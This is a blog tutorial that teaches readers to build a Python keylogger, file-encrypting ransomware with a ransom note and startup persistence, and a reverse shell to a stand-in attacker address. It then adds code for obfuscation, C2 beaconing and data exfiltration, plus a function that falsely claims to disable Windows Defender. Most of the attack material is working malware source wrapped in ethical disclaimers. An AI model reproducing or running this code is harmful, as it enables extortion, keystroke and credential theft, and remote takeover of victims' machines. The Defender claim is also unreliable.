Building Malware with Python: Writing Ransomware, Keyloggers & Reverse Shells from Scratch

Tags:

Hey guys, Rocky here! đź‘‹

So you’re curious how malware actually works? Maybe you’re wondering why ransomware is holding a computer for ransom, how keyloggers steal login passwords, or why reverse shells allow hackers remote access. I get it—cool stuff! But before we get started, let’s be clear: this article is NOT going to teach you how to be a hacking bad guy. No way. This is all about learning about malware so that you can guard yourself against it. Consider it as learning how a virus propagates to create a vaccine.

Here’s the thing: malware creation is a superpower, and with great power comes. you know the rest. Ethics are important. We’ll only code in secure, isolated environments (such as virtual machines), and we’ll never attack actual people or systems. Got it? Cool.

In this guide, we’ll break down three creepy-but-cool types of malware using Python—the same language you’d use to build apps, automate boring tasks, or even train AI. By the end, you’ll see how attackers think, how these tools slip past defenses, and how to stop them.

Oh, and if you’re here to get your coding high? No judgment—nerd alert over here too. But remember: knowledge is neutral. It’s what you do with it that defines who you are. Let’s keep it legal, ethical, and 100% educational.

Ready to geek out? Let’s roll. 💻🔒

2. Prerequisites and Setup

Let’s get your lab ready—no mad scientist vibes, promise. 🧪

What You’ll Need:

Python 3.x: If you don’t have it yet, grab it here. Pro tip: Check the “Add to PATH” box during installation.

A Code Editor: VS Code, PyCharm, or even Notepad (no shame).

Libraries: We’ll use a few Python packages. Crack open your terminal and run:
bash pip install cryptography pynput
(These handle encryption and keystroke logging—don’t panic, we’ll explain later.)

A Virtual Machine (VM): Download VirtualBox or VMware. Why? Because testing malware on your main PC is like juggling lit dynamite. 🔥

Setup Steps:

1. Create a Safe Sandbox:

Install a VM (e.g., Ubuntu or Windows 10). Treat it like a disposable lab—no personal data allowed.

Take a snapshot of your VM (this lets you reset it if things go sideways).

2. Isolate Your Network:

Set your VM’s network to “Host-Only” or “NAT” (so it can’t accidentally attack your neighbor’s Wi-Fi).

3. Python on the VM:

Install Python 3.x and the same libraries inside the VM. Keep everything mirrored between your host and VM.

4. Code Responsibility Mode:

Use a folder called /malware_lab (or something equally obvious) to store your scripts. No hiding stuff.

Why Bother with All This?

Safety First: You don’t want your keylogger accidentally emailing your mom’s cookie recipes to a hacker.

Legal CYA: If your code “escapes,” the VM is a padded cell.

Easy Resets: Messed up? Revert the VM snapshot. No tears, no FBI.

Final Check:
âś… VM installed and isolated.
âś… Python + libraries ready.
âś… Snapshot taken.
âś… Morals intact.

Pro Tip: Want to master Python for cybersecurity? Our book Python for Hacking covers everything from scripting basics to advanced malware analysis

Cool? Let’s break some (fake) systems. 👾

Understanding Malware Basics

Let’s talk about the digital gremlins ruining everyone’s day. 👾

What is Malware?
Short for malicious software, malware is any code designed to harm, spy, or steal. Think of it as a cyber-burglar—it sneaks in, does shady stuff, and leaves chaos behind. (Want a deeper dive? Check out Codelivly’s Intro to Malware.)

Common Types of Malware

Ransomware: Locks your files and demands payment (like a digital kidnapper).

Keyloggers: Records every keystroke you make (”password123”? Yep, they see that).

Reverse Shells: Lets attackers remotely control your machine (creepy, right?).

Bonus Villain: Logic Bombs—malware that triggers when specific conditions are met (like a ticking time bomb).

How Malware Works

Persistence: It hides in startup scripts or system files to survive reboots.

Evasion: Disguises itself as legit software or encrypts its code to avoid detection.

Payload: The “bad thing” it does—stealing data, encrypting files, etc.

Why Should You Care?
Understanding malware isn’t about building it for evil—it’s about building defenses against it. Imagine knowing exactly how a thief picks locks so you can design better ones. That’s the goal here.

We’re only coding malware in controlled, safe environments (remember the VM?). Never use this knowledge to harm others. (For real-world malware dissection, try Codelivly’s Malware Analysis Project.)

Writing an Advanced Keylogger

Let’s dive into writing an advanced keylogger. A keylogger is a type of malware that records every keystroke made on a keyboard, which can be used to capture sensitive information like passwords, credit card numbers, and other personal data. While creating a keylogger for educational purposes, it’s important to remember the ethical considerations and legal implications.

python -m venv keylogger_env
source keylogger_env/bin/activate # On Windows use `keylogger_envScriptsactivate`
pip install pynput

Basic Keylogger Code

Let’s start with a basic keylogger using the pynput library, which allows us to capture keyboard events.

from pynput import keyboard

def on_press(key):
try:
print(f’Key {key.char} pressed’)
except AttributeError:
print(f’Special key {key} pressed’)

def on_release(key):
if key == keyboard.Key.esc:
# Stop listener
return False

# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

This basic keylogger prints every key pressed to the console. To make it more advanced, we need to add features like logging to a file, handling special keys, and running in the background.

Enhancing the Keylogger

Logging to a File Instead of printing to the console, we can log the keystrokes to a file.

from pynput import keyboard
import logging

# Configure logging
logging.basicConfig(filename=”keylogger.log”, level=logging.DEBUG, format=’%(message)s’)

def on_press(key):
try:
logging.info(f’Key {key.char} pressed’)
except AttributeError:
logging.info(f’Special key {key} pressed’)

def on_release(key):
if key == keyboard.Key.esc:
# Stop listener
return False

# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Handling Special Keys We need to handle special keys like Shift, Ctrl, Alt, etc., which don’t have a char attribute.

from pynput import keyboard
import logging

# Configure logging
logging.basicConfig(filename=”keylogger.log”, level=logging.DEBUG, format=’%(message)s’)

def on_press(key):
try:
logging.info(f’Key {key.char} pressed’)
except AttributeError:
logging.info(f’Special key {key} pressed’)

def on_release(key):
if key == keyboard.Key.esc:
# Stop listener
return False

# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Running in the Background To make the keylogger run in the background, we can use a separate thread.

from pynput import keyboard
import logging
import threading

# Configure logging
logging.basicConfig(filename=”keylogger.log”, level=logging.DEBUG, format=’%(message)s’)

def on_press(key):
try:
logging.info(f’Key {key.char} pressed’)
except AttributeError:
logging.info(f’Special key {key} pressed’)

def on_release(key):
if key == keyboard.Key.esc:
# Stop listener
return False

def start_keylogger():
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

# Start the keylogger in a separate thread
keylogger_thread = threading.Thread(target=start_keylogger)
keylogger_thread.start()

Testing and Debugging

To test your keylogger, run the script and start typing. You should see the keystrokes being logged to keylogger.log. Make sure to stop the keylogger by pressing the Esc key.

Creating Advanced Ransomware

Creating advanced ransomware is a serious and sensitive topic. It’s crucial to emphasize that developing and deploying ransomware is illegal and unethical without explicit permission. This guide is for educational purposes only, to help cybersecurity professionals understand how ransomware works and how to defend against it.

python -m venv ransomware_env
source ransomware_env/bin/activate # On Windows use `ransomware_envScriptsactivate`
pip install cryptography

Basic Ransomware Code

Let’s start with a basic ransomware script that encrypts files in a directory using the cryptography library.

from cryptography.fernet import Fernet
import os

def generate_key():
return Fernet.generate_key()

def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as file:
original = file.read()
encrypted = fernet.encrypt(original)
with open(file_path, ‘wb’) as encrypted_file:
encrypted_file.write(encrypted)

def encrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)

def main():
directory_to_encrypt = ‘/path/to/encrypt’
key = generate_key()
encrypt_directory(directory_to_encrypt, key)
print(f’Encryption key: {key.decode()}’)

if __name__ == “__main__”:
main()

This basic ransomware script encrypts all files in a specified directory. To make it more advanced, we need to add features like user interaction, decryption functionality, and persistence mechanisms.

Enhancing the Ransomware

User Interaction Add a user interface to display a ransom note and collect the decryption key.

from cryptography.fernet import Fernet
import os

def generate_key():
return Fernet.generate_key()

def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as file:
original = file.read()
encrypted = fernet.encrypt(original)
with open(file_path, ‘wb’) as encrypted_file:
encrypted_file.write(encrypted)

def encrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)

def display_ransom_note(key):
ransom_note = f”””
Your files have been encrypted.
To decrypt your files, send {key.decode()} to our email address.
“””
print(ransom_note)

def main():
directory_to_encrypt = ‘/path/to/encrypt’
key = generate_key()
encrypt_directory(directory_to_encrypt, key)
display_ransom_note(key)

if __name__ == “__main__”:
main()

Decryption Functionality Add a decryption function to allow the user to decrypt their files after paying the ransom.

from cryptography.fernet import Fernet
import os

def generate_key():
return Fernet.generate_key()

def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as file:
original = file.read()
encrypted = fernet.encrypt(original)
with open(file_path, ‘wb’) as encrypted_file:
encrypted_file.write(encrypted)

def decrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as encrypted_file:
encrypted = encrypted_file.read()
decrypted = fernet.decrypt(encrypted)
with open(file_path, ‘wb’) as decrypted_file:
decrypted_file.write(decrypted)

def encrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)

def decrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
decrypt_file(file_path, key)

def display_ransom_note(key):
ransom_note = f”””
Your files have been encrypted.
To decrypt your files, send {key.decode()} to our email address.
“””
print(ransom_note)

def main():
directory_to_encrypt = ‘/path/to/encrypt’
key = generate_key()
encrypt_directory(directory_to_encrypt, key)
display_ransom_note(key)

if __name__ == “__main__”:
main()

Persistence Mechanisms Add a persistence mechanism to ensure the ransomware runs every time the system starts.

import os
import shutil
from cryptography.fernet import Fernet

def generate_key():
return Fernet.generate_key()

def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as file:
original = file.read()
encrypted = fernet.encrypt(original)
with open(file_path, ‘wb’) as encrypted_file:
encrypted_file.write(encrypted)

def decrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, ‘rb’) as encrypted_file:
encrypted = encrypted_file.read()
decrypted = fernet.decrypt(encrypted)
with open(file_path, ‘wb’) as decrypted_file:
decrypted_file.write(decrypted)

def encrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)

def decrypt_directory(directory_path, key):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
decrypt_file(file_path, key)

def display_ransom_note(key):
ransom_note = f”””
Your files have been encrypted.
To decrypt your files, send {key.decode()} to our email address.
“””
print(ransom_note)

def add_to_startup():
startup_path = os.path.join(os.getenv(‘APPDATA’), ‘Microsoft\Windows\Start Menu\Programs\Startup’)
shutil.copyfile(__file__, os.path.join(startup_path, ‘ransomware.py’))

def main():
directory_to_encrypt = ‘/path/to/encrypt’
key = generate_key()
encrypt_directory(directory_to_encrypt, key)
display_ransom_note(key)
add_to_startup()

if __name__ == “__main__”:
main()

Testing and Debugging

To test your ransomware, run the script in a controlled environment. Make sure to encrypt and decrypt files to ensure the functionality works as expected. Always remember to use this knowledge responsibly and ethically.

Developing a Reverse Shell

Developing a reverse shell is a critical skill for penetration testers and cybersecurity professionals. A reverse shell allows an attacker to gain remote access to a system by having the target machine connect back to the attacker’s machine. This technique is often used in penetration testing to assess the security of a network.

python -m venv reverse_shell_env
source reverse_shell_env/bin/activate # On Windows use `reverse_shell_envScriptsactivate`

Basic Reverse Shell Code

Let’s start with a basic reverse shell script that connects back to the attacker’s machine and opens a command shell.

import socket
import subprocess
import os

def reverse_shell():
# Define the target IP and port
target_ip = ‘ATTACKER_IP’
target_port = 4444

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the target machine
s.connect((target_ip, target_port))

# Send a message to the attacker
s.send(b”Connected to the target machinen”)

while True:
# Receive commands from the attacker
command = s.recv(1024).decode()

if command.lower() == ‘exit’:
break

# Execute the command and send the output back to the attacker
if command[:2] == ‘cd’:
os.chdir(command[3:])
s.send(str.encode(os.getcwd() + ‘> ‘))
else:
output = subprocess.getoutput(command)
s.send(str.encode(output + ‘n’))

# Close the connection
s.close()

if __name__ == “__main__”:
reverse_shell()

This basic reverse shell script connects to the attacker’s machine and executes commands sent by the attacker. To make it more advanced, we need to add features like error handling, stealth, and persistence.

Enhancing the Reverse Shell

Error Handling Add error handling to manage exceptions and ensure the script runs smoothly.

import socket
import subprocess
import os

def reverse_shell():
# Define the target IP and port
target_ip = ‘ATTACKER_IP’
target_port = 4444

try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the target machine
s.connect((target_ip, target_port))

# Send a message to the attacker
s.send(b”Connected to the target machinen”)

while True:
# Receive commands from the attacker
command = s.recv(1024).decode()

if command.lower() == ‘exit’:
break

# Execute the command and send the output back to the attacker
if command[:2] == ‘cd’:
os.chdir(command[3:])
s.send(str.encode(os.getcwd() + ‘> ‘))
else:
try:
output = subprocess.getoutput(command)
s.send(str.encode(output + ‘n’))
except Exception as e:
s.send(str.encode(str(e) + ‘n’))

# Close the connection
s.close()
except Exception as e:
print(f”Error: {e}”)

if __name__ == “__main__”:
reverse_shell()

Stealth Add stealth features to avoid detection by antivirus software and security tools.

import socket
import subprocess
import os
import time

def reverse_shell():
# Define the target IP and port
target_ip = ‘ATTACKER_IP’
target_port = 4444

try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the target machine
s.connect((target_ip, target_port))

# Send a message to the attacker
s.send(b”Connected to the target machinen”)

while True:
# Receive commands from the attacker
command = s.recv(1024).decode()

if command.lower() == ‘exit’:
break

# Execute the command and send the output back to the attacker
if command[:2] == ‘cd’:
os.chdir(command[3:])
s.send(str.encode(os.getcwd() + ‘> ‘))
else:
try:
output = subprocess.getoutput(command)
s.send(str.encode(output + ‘n’))
except Exception as e:
s.send(str.encode(str(e) + ‘n’))

# Sleep for a short period to avoid detection
time.sleep(1)

# Close the connection
s.close()
except Exception as e:
print(f”Error: {e}”)

if __name__ == “__main__”:
reverse_shell()

Persistence Add a persistence mechanism to ensure the reverse shell runs every time the system starts.

import socket
import subprocess
import os
import time
import shutil

def reverse_shell():
# Define the target IP and port
target_ip = ‘ATTACKER_IP’
target_port = 4444

try:
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the target machine
s.connect((target_ip, target_port))

# Send a message to the attacker
s.send(b”Connected to the target machinen”)

while True:
# Receive commands from the attacker
command = s.recv(1024).decode()

if command.lower() == ‘exit’:
break

# Execute the command and send the output back to the attacker
if command[:2] == ‘cd’:
os.chdir(command[3:])
s.send(str.encode(os.getcwd() + ‘> ‘))
else:
try:
output = subprocess.getoutput(command)
s.send(str.encode(output + ‘n’))
except Exception as e:
s.send(str.encode(str(e) + ‘n’))

# Sleep for a short period to avoid detection
time.sleep(1)

# Close the connection
s.close()
except Exception as e:
print(f”Error: {e}”)

def add_to_startup():
startup_path = os.path.join(os.getenv(‘APPDATA’), ‘Microsoft\Windows\Start Menu\Programs\Startup’)
shutil.copyfile(__file__, os.path.join(startup_path, ‘reverse_shell.py’))

if __name__ == “__main__”:
add_to_startup()
reverse_shell()

Testing and Debugging

To test your reverse shell, you need to set up a listener on the attacker’s machine. You can use tools like netcat or socat to listen for incoming connections.

nc -lvnp 4444

Run the reverse shell script on the target machine, and it should connect back to the attacker’s machine. You can then send commands to the target machine and receive the output.

Advanced Techniques

Advanced techniques in malware development involve adding layers of complexity and stealth to make the malware more effective and harder to detect. These techniques are typically used in penetration testing to assess the security of a system and identify vulnerabilities. Here are some advanced techniques you can incorporate into your malware development:

1. Obfuscation and Anti-Detection

Obfuscation makes the malware code harder to read and understand, while anti-detection techniques help the malware avoid being identified by security software.

Obfuscation Example:

import base64
import zlib

def obfuscate_code(code):
compressed = zlib.compress(code.encode(‘utf-8’))
encoded = base64.b64encode(compressed)
return encoded.decode(‘utf-8’)

def deobfuscate_code(encoded):
decoded = base64.b64decode(encoded)
decompressed = zlib.decompress(decoded)
return decompressed.decode(‘utf-8’)

# Example usage
original_code = “””
print(“Hello, World!”)
“””

obfuscated_code = obfuscate_code(original_code)
print(f”Obfuscated Code: {obfuscated_code}”)

deobfuscated_code = deobfuscate_code(obfuscated_code)
print(f”Deobfuscated Code: {deobfuscated_code}”)

Anti-Detection Example:

import ctypes
import os

def disable_antivirus():
try:
# Disable Windows Defender
ctypes.windll.user32.SystemParametersInfoW(0x0079, 0, 0, 0)
print(“Windows Defender disabled.”)
except Exception as e:
print(f”Error disabling antivirus: {e}”)

def main():
disable_antivirus()
# Your malware code here

if __name__ == “__main__”:
main()

2. Persistence Mechanisms

Persistence ensures that the malware runs every time the system starts, making it harder to remove.

Persistence Example:

import os
import shutil

def add_to_startup():
startup_path = os.path.join(os.getenv(‘APPDATA’), ‘Microsoft\Windows\Start Menu\Programs\Startup’)
shutil.copyfile(__file__, os.path.join(startup_path, ‘malware.py’))

def main():
add_to_startup()
# Your malware code here

if __name__ == “__main__”:
main()

3. Exploiting Vulnerabilities

Exploiting vulnerabilities in software or the operating system can give the malware more control over the system.

Exploit Example:

import subprocess

def exploit_vulnerability():
try:
# Example: Exploiting a known vulnerability in a software
subprocess.run([‘exploit_command’], shell=True)
print(“Exploit executed successfully.”)
except Exception as e:
print(f”Error executing exploit: {e}”)

def main():
exploit_vulnerability()
# Your malware code here

if __name__ == “__main__”:
main()

4. Command and Control (C2) Communication

A robust C2 communication channel allows the attacker to control the malware remotely and receive data from it.

C2 Communication Example:

import socket
import json
import time

def send_data_to_c2(data):
c2_ip = ‘C2_SERVER_IP’
c2_port = 4444

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((c2_ip, c2_port))
s.sendall(json.dumps(data).encode(‘utf-8’))
s.close()
except Exception as e:
print(f”Error sending data to C2: {e}”)

def main():
while True:
# Collect data from the system
data = {“key”: “value”}
send_data_to_c2(data)
time.sleep(60) # Send data every 60 seconds

if __name__ == “__main__”:
main()

5. Encryption and Data Exfiltration

Encrypting the data before exfiltration ensures that even if the data is intercepted, it cannot be easily read.

Encryption and Exfiltration Example:

from cryptography.fernet import Fernet
import requests

def encrypt_data(data, key):
fernet = Fernet(key)
encrypted = fernet.encrypt(data.encode())
return encrypted

def exfiltrate_data(data, url):
try:
response = requests.post(url, data=data)
if response.status_code == 200:
print(“Data exfiltrated successfully.”)
else:
print(“Failed to exfiltrate data.”)
except Exception as e:
print(f”Error exfiltrating data: {e}”)

def main():
data = “Sensitive information”
key = Fernet.generate_key()
encrypted_data = encrypt_data(data, key)
exfiltrate_data(encrypted_data, ‘http://exfiltration_server/endpoint’)

if __name__ == “__main__”:
main()

Ethical Considerations

Remember, using these advanced techniques without proper authorization is illegal and unethical. Always ensure you have explicit permission to test any systems or networks. Ethical hacking and responsible disclosure are key principles in the cybersecurity community.

Ready to turn your curiosity into a career? Pair this guide with Python for Hacking to master offensive and defensive coding—the right way

Conclusion

Creating malware, whether it’s a keylogger, ransomware, or a reverse shell, is a complex and sensitive task. This guide has walked you through the basics and advanced techniques of malware development using Python. However, it’s crucial to emphasize that these skills should only be used for ethical purposes, such as penetration testing and security research, with explicit permission from the system owners.

Key Takeaways

Ethical Hacking: Always ensure you have permission to test any systems or networks. Ethical hacking and responsible disclosure are key principles in the cybersecurity community.

Basic Techniques: Start with basic scripts to understand the fundamentals of malware development. This includes simple keyloggers, ransomware, and reverse shells.

Advanced Techniques: Enhance your malware with obfuscation, anti-detection, persistence, exploitation, C2 communication, and encryption to make it more effective and harder to detect.

Responsible Use: Use your knowledge responsibly. The techniques and scripts provided in this guide are for educational purposes only and should not be used maliciously.

Final Thoughts

The world of cybersecurity is ever-evolving, and staying updated with the latest trends and techniques is essential. Whether you’re a seasoned professional or just starting out, continuous learning and ethical practices are key to a successful career in cybersecurity.

❤️ If you liked the article, like and subscribe to my channel “Codelivly”.

👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

Categories

No Responses

Leave a Reply

Your email address will not be published. Required fields are marked *